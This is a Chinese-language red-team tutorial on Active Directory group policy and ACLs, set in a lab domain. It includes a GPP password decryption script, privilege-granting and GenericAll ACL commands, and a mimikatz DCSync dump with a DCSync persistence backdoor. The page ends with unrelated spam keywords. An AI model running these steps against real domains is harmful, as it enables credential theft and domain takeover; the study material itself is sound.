<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    內網滲透|域內的組策略和ACL

    VSole2021-07-31 09:00:11

    0x00 本地域環境


    vm單獨添加一個網卡用來進行域環境隔離。


    機器配置:

    windows server 2016(DC):192.168.11.16 (administrator) windows server 2008(IT) :192.168.11.8 (itsec) windows 7(jack-PC) :192.168.11.7 (jack)

    添加redteam\jack到win7的遠程桌面組。

    0x01 什么是AD DS域

    ADDS可以理解為跟DNS,DHCP一樣是集成在Windows Server中的一個角色功能,AD DS域是用來管理用戶,計算機,組和其他對象的邏輯容器。AD DS 數據庫存儲所有域對象,每個域控制器存儲數據庫的副本。

    0x02 什么是OU

    OU 是用戶、組和計算機的容器對象,它提供了一個通過鏈接組策略對象 (GPO) 來委托管理權限和管理的框架。

    創建OU有多個原因:1.可以通過組策略對象(GPO)集中進行管理 2.可以在OU上分配管理權限給其他用戶來進行委派。

    0x03 泛型容器

    OU 和容器之間的主要區別在于管理功能。容器的管理功能有限。例如,不能將 GPO 直接應用于容器。

    默認情況下,安裝 AD DS 會創建域控制器 OU 和多個泛型容器對象。AD DS 主要使用其中一些默認隱藏的默認對象。如圖:

    域redteam.local:層次結構。


    內置容器:存放默認組。

    計算機容器:在域中創建的新計算機帳戶的默認位置

    域控制器:域控機器在的默認組

    **外部安全主體容器:**在本地 AD DS 域中添加的本地 AD DS 域外部的域中的受信任對象的默認位置。 托管服務賬戶容器: 托管服務帳戶的默認位置。AD DS 在托管服務帳戶中提供自動密碼管理。

    用戶容器:在域中創建的新用戶帳戶和組的默認位置。

    0x04 組策略


    組策略可以控制用戶帳戶和計算機帳戶的工作環境。

    組策略鏈接:可以看到右邊的作用域路徑是整個redteam.local也就是說在這個域內的所有計算機,用戶都會搜到影響。

    右鍵保存報告可以看到一些配置內容

    可以通過組策略編輯器來修改


    策略是受管理的、強制實施的。而組策略首選項則是不受管理的、非強制性的。

    每條組策略都是儲存在域里面的一個對象我們稱之為GPO,每一個GPO都有一個唯一ID。


    GPO分為GPC和GPT:GPO:組策略對象。GPC:組策略容器。GPT:組策略模板。

    GPC:包含了GPO的屬性,本身的配置信息,版本等等。可以通過GPC訪問GPT數據儲存位置和版本。GPT:一個具有結構層次的共享目錄,存放于域控中,包含所有的組策略信息。包括管理模板,安全,腳本,軟件安裝等。gpo的信息量比較大,這也是gpo將gpc與其分開的原因。應為gpc存放于活動目錄中,活動目錄數據大會對性能及網絡造成影響。

    通過AD Explorer查看GPC

    gPCFileSysPath鏈接到GPT,基本上組策略的配置信息都在GPT里面

    當某個對象應用了某個指定的組策略時,該對象的 gPLink 屬性將包含指向該組策略容器的完整DN。

    GPT位于域控的

    C:\Windows\SYSVOL\sysvol\redteam.local\Policies
    

    Macheine目錄:包含針對計算機的策略配置。User目錄:包含針對用戶的策略配置。GPT.ini文件:該組策略對象的一些配置信息(如版本信息、策略名稱)。

    4.1 SYSVOL

    域內有個密碼難題,域內大量機器為了安全都會修改密碼,標準做法就是組策略批量設置本地administrator密碼。但是這樣會出現一個問題就是密碼都統一了。解決辦法之一就是通過認證數據采取SYSVOL,這個是AD里面一個儲存公共文件服務器副本的共享文件夾。所有認證用戶都可以讀取,SYSVOL包括登錄腳本,組策略數據,以及其他域控所需要的域數據,這是因為SYSVOL能在所有域控里進行自動同步和共享。


    首先創建組策略red再編輯,update本地用戶administrator為admin

    然后強制更新組策略:

    gpupdate /force
    

    密碼會保存在

    C:\Windows\SYSVOL\domain\Policies\GPO ID\Machine\Preferences\Groups\Groups.xml
    

    1.powershell

    Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
    

    2.msf

    use post/windows/gather/credentials/gpp
    set session 1
    run
    

    3.ruby解密腳本

    require 'rubygems'
    require 'openssl'
    require 'base64'
    encrypted_data = "Yw6hqEEKPZtyKUXpWd5UhxEZ13DAe64s9w8U7Sq55uw"
    def decrypt(encrypted_data)
        padding = "=" * (4 - (encrypted_data.length % 4))
          epassword = "#{encrypted_data}#{padding}"
            decoded = Base64.decode64(epassword)
               key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
                 aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
                   aes.decrypt
                     aes.key = key
                       plaintext = aes.update(decoded)
                         plaintext << aes.final
                           pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
                             return pass
                              end
    blah = decrypt(encrypted_data)
    puts blah
    

    4.2 組策略利用

    1.批量下發軟件 當我們拿下域控,可能某些機器設置了445等端口不可入acl無法到達目標機器。可以通過組策略下發軟件。msf生成msi文件然后下發

    2.計劃任務

    3.SeEnableDelegationPrivilege權限

    還可以給用戶設置SeEnableDelegationPrivilege權限,該權限作用是設置約束性委派。擁有該權限可以任意設置一臺主機的約束性委派,如果控了一個SeEnableDelegationPrivilege權限的用戶基本上等于拿下了整個域。


    域一般有兩個默認的GPO:Default Domain Policy和Default Domain Controllers Policy他們的GUID分別為:{31B2F340-016D-11D2-945F-00C04FB984F9}和{6AC1786C-016F-11D2-945F-00C04fB984F9}



    來查找Default Domain Controllers Policy策略的位置

    Get-DomainGPO -Identity "Default Domain Controllers Policy"
    

    \\redteam.local\sysvol\redteam.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
    

    查看下GptTmpl.int

    type \\redteam.local\sysvol\redteam.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
    


    "S-1-5-32-544" | Convert-SidToName
    


    我們給普通用戶設置SeEnableDelegationPrivilege權限

    修改

    C:\Windows\SYSVOL\sysvol\redteam.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
    

    把要添加的用戶的sid添加到SeEnableDelegationPrivilege然后刷新組策略

    gpupdate /force
    

    或者通過UserRight

    Grant-UserRight -Account hack -Right SeEnableDelegationPrivilege
    Get-AccountsWithUserRight -right SeEnableDelegationPrivilege
    



    這里我們可以添加對指定用戶的完全訪問權限,這里以itsec為例:

    itsec的guid為:

    5100c627-f060-498d-b05d-c36548967878
    

    執行:

    Add-DomainObjectAcl -TargetIdentity '5100c627-f060-498d-b05d-c36548967878' -PrincipalIdentity hack -Rights All
    

    驗證權限

    Get-DomainObjectAcl -Identity itsec | ?{$_.SecurityIdentifier -match "S-1-5-21-151877218-3666268517-4145415712-1123"}
    

    可以看到hack以及對itsec有完全訪問權限GenericAll。我們可以通過hack用戶強制給itsec用戶注冊spn,或者修改密碼。


    0x05 ACL

    當用戶登錄時,系統會驗證用戶的帳戶名和密碼。如果登錄成功,系統會創建一個訪問令牌。代表此用戶執行的每個進程都將擁有此訪問令牌的副本。訪問令牌包含標識用戶帳戶和用戶所屬的任何組帳戶的安全描述符。令牌還包含用戶或用戶組擁有的權限列表。當進程嘗試訪問安全對象或執行需要特權的系統管理任務時,系統使用此令牌來識別關聯的用戶。

    windows訪問控制模型是由兩部分組成:

    訪問令牌:包含用戶的sid,以及特權列表。安全描述符:被訪問的安全對象的相關安全信息。

    安全描述符是與被訪問對象關聯的,它包含有這個對象的所有者的sid,以及一個訪問控制列表(ACL)。

    創建安全對象時,系統會為其分配一個安全描述符,該描述符包含其創建者指定的安全信息,如果未指定,則為默認安全信息。應用程序可以使用函數來檢索和設置現有對象的安全信息。

    安全描述符標識對象的所有者,還包含了一個自由訪問控制列表(DACL)和一個系統訪問控制列表(SACL) DACL:用于標識允許或拒絕訪問對象的用戶和組 SACL:用于控制系統審計嘗試訪問對象的方式


    ACL訪問控制列表由一些列訪問控制實體組成,每個ACE可以看作是配置一條訪問策略。每個 ACE 指定一組訪問權限并包含一個 SID,用于標識允許、拒絕或審核其權限的受托著。受托人可以是用戶帳戶、組帳戶或登錄會話。

    大體的流程是。當對象A來訪問B的時候,A會出示自己的Access Token,然后包含自己的用戶sid, 自己所在的組的sid,以及特權列表。B這個安全對象,有自己的ACL。B首先判斷是不是需要特權才能訪問,如果需要特權,則查看A的Access Token看有沒有那個特 權。B通過A的Access Token,來判斷A的用戶 sid以及組sids,跟自己的ACL做比對,來判斷是否讓A 進行訪問。如下圖:表示了A組成員都繼承了A組允許的權限:寫入權限和繼承了Everyone對該對象的讀取和執行權限,額外的是Andrew,就算他是Everyone組的成員但是被拒絕訪問的ACE拒絕訪問。

    一條ACE一般分為四個方面:1.誰對你有權限。2.有什么權限。3.是允許還是拒絕。4.這個權限能否被繼承。

    權限可以分為:通用權限,對某個屬性的權限,拓展權限。1.通用權限:對這個條目的通用權限。2.對某個屬性的權限:一個條目包含若干個屬性。3.拓展權限:存放于CN=Add-GUID,CN=Extended-Rights,CN=Configuration,DC=redteam,DC=loca,值在rightsGuid里面。

    ACL主要有兩個作用:1.用戶能不能訪問安全對象(DACL) 2.用戶是否訪問成功,日志記錄功能(SACL)


    右鍵任意文件或者文件夾屬性,安全,高級,權限可以看到該文件或者文件夾的DACL。

    再點擊任何一條DACL可以看到該條DACL的ACE。

    PS C:\Users> Get-Acl C:\users\administrator | fl
    Path   : Microsoft.PowerShell.Core\FileSystem::C:\users\administrator
    Owner  : NT AUTHORITY\SYSTEM
    Group  : NT AUTHORITY\SYSTEM
    Access : NT AUTHORITY\SYSTEM Allow  FullControl
             BUILTIN\Administrators Allow  FullControl
             REDTEAM\Administrator Allow  FullControl
    Audit  :
    Sddl   : O:SYG:SYD:P(A;OICI;FA;;;SY)(A;OICI;FA;;;BA)(A;OICI;FA;;;LA)
    

    還可以通過icacls來查看修改acl

    R 讀取
    W 寫入
    C 更改(寫入)
    F 完全控制
    CI - 容器繼承。
    ACE 會由目錄繼承。
    OI - 對象繼承。
    ACE 會由文件繼承。
    IO - 只繼承。
    ACE 不適用于當前文件/目錄。
    ID - 已繼承。
    ACE 從父目錄的 ACL 繼承。
    

    5.1 dcsync

    在域內不同DC會進行域內數據同步,通過Directory Replication Service(DRS)服務的GetNCChanges接口向域控發起數據同步請求。

    打開高級功能然后點擊屬性->安全

    把Everyone設置為完全控制,那么隨便一個賬號都能直接dscync

    mimikatz.exe "lsadump::dcsync /domain:redteam.local /user:administrator" "exit" > 1.txt
    

    使用dcsync權限維持:取消Everyone的完全控制權限,創建hack1用戶

    向域內普通用戶添加如下三條ACE(Access Control Entries):DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c) 我們可以使用Empire下的 powerview.ps1 腳本執行命令添加以上三條ACE。給域用戶hack1添加以上三條ACE

    Add-DomainObjectAcl -TargetIdentity "DC=redteam,DC=local" -PrincipalIdentity hack1 -Rights DCSync -Verbose
    

    可以看到執行成功

    然后給hack1賬戶刪除以上三條acl

    Remove-DomainObjectAcl -TargetIdentity "DC=redteam,DC=local" -PrincipalIdentity hack1 -Rights DCSync -Verbose
    

    再次失敗

    組策略acl
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    組策略(GroupPolicy)是Microsoft Windows系統管理員為計算機和用戶定義的,用來控制應用程序、系統設置和管理模板的一種機制。
    vm單獨添加一個網卡用來進行域環境隔離。機器配置:windows
    Group3r 是一個供內網滲透測試人員和紅隊人員快速枚舉 AD 組策略中的相關設置并識別其中可利用的錯誤配
    組策略提供了操作系統、應用程序和活動目錄中用戶設置的集中化管理和配置。組策略的其中一個版本名為本地組策略,這可以在獨立且非域的計算機上管理組策略對象。
    01 Bucket 公開訪問 騰訊云存儲桶的訪問權限默認為私有讀寫權限,且存儲桶名稱會帶上一串時間戳:
    在BlackHat21中,Specterops發布了Active Directory Certificate Services利用白皮書。盡管ADCS并不是默認安裝,但在大型企業域中通常被廣泛部署。 本文分為上下兩篇,結合實戰,講述如何在域環境中利用ADCS手法拿下域控,哪些對象ACL可用于更好的權限維持,并涉及ADCS的基礎架構、攻擊面、后利用等。
    將AD域日志引入日志分析平臺,通過模擬域攻擊行為產生攻擊事件,以攻擊日志提取關鍵特征,構建安全規則,形成檢測策略。通過監測5145事件,可識別到可疑的Sharphound域信息探測行為。通過監測4728事件,關注敏感用戶組特權賬號添加情況。通過監測4663事件,從而發現嘗試LSASS進程竊取憑證的操作。通過監測4624事件,設置白名單機制,從正常的訪問行為中,找出異常登錄行為。
    將后門注冊為windows自啟動服務是常見的后門維持手法,使用命令sc或者powershell命令都可以將自己的后門程序注冊為自啟動服務。 使用sc命令將后門程序注冊為自啟動服務,并以LocalSystem的身份運行:
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类